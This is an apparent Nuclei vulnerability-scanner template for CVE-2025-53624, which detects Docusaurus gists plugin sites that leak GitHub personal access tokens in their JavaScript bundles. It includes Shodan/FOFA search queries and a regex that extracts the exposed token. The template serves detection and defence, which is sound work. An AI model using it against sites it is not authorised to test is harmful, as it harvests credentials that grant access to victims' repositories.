CVE-2025-53624: Docusaurus Gists Plugin < 4.0.0 - GitHub Personal Access Token Exposure

id: CVE-2025-53624

info:
  name: Docusaurus Gists Plugin < 4.0.0 - GitHub Personal Access Token Exposure
  author: darses
  severity: high
  description: |
    The Docusaurus gists plugin adds a page to your Docusaurus instance, displaying all public gists of a GitHub user. docusaurus-plugin-content-gists versions prior to 4.0.0 are vulnerable to exposing GitHub Personal Access Tokens in production build artifacts when passed through plugin configuration options. The token, intended for build-time API access only, is inadvertently included in client-side JavaScript bundles, making it accessible to anyone who can view the website's source code.
  impact: |
    A GitHub personal access token exposure vulnerability can grant an attacker unauthorized access to your repositories and organization resources, potentially leading to data exfiltration, code injection, and supply chain attacks.
  remediation: |
    Update docusaurus-plugin-content-gists to version 4.0.0+. Revoke access to the GitHub PAT that was used: https://github.com/settings/tokens.
  reference:
    - https://github.com/webbertakken/docusaurus-plugin-content-gists/commit/8d4230b82412edb215ddfa9e609d178510a5fe31
    - https://github.com/webbertakken/docusaurus-plugin-content-gists/security/advisories/GHSA-qf34-qpr4-5pph
    - https://nvd.nist.gov/vuln/detail/CVE-2025-53624
  classification:
    epss-score: 0.04611
    epss-percentile: 0.88841
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
    cvss-score: 8.6
    cve-id: CVE-2025-53624
    cwe-id: CWE-200
  metadata:
    max-request: 2
    verified: true
    vendor: webbertakken
    product: docusaurus_plugin_content_gists
    shodan-query: http.html:"Docusaurus"
    fofa-query: body="Docusaurus"
  tags: cve,cve2025,docusaurus,exposure

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "docusaurus_locale")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: js_file_url
        group: 1
        regex:
          - '<script src="/(assets/js/main\.[^"]*\.js)"'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/{{js_file_url}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "personalAccessToken")'
        condition: and

    extractors:
      - type: regex
        name: github_token
        group: 1
        regex:
          - ',personalAccessToken:"([^"]*)"}'
# digest: 4a0a0047304502205b06b89a94b8853ebbfe118114658fc99244424716553b8d1f83ec8a9688a259022100cdcf46b5ff68b77983781d9ece78682913cd0b7a58f4af54167ab541042b94f3:922c64590222798bb761d5b6d8e72950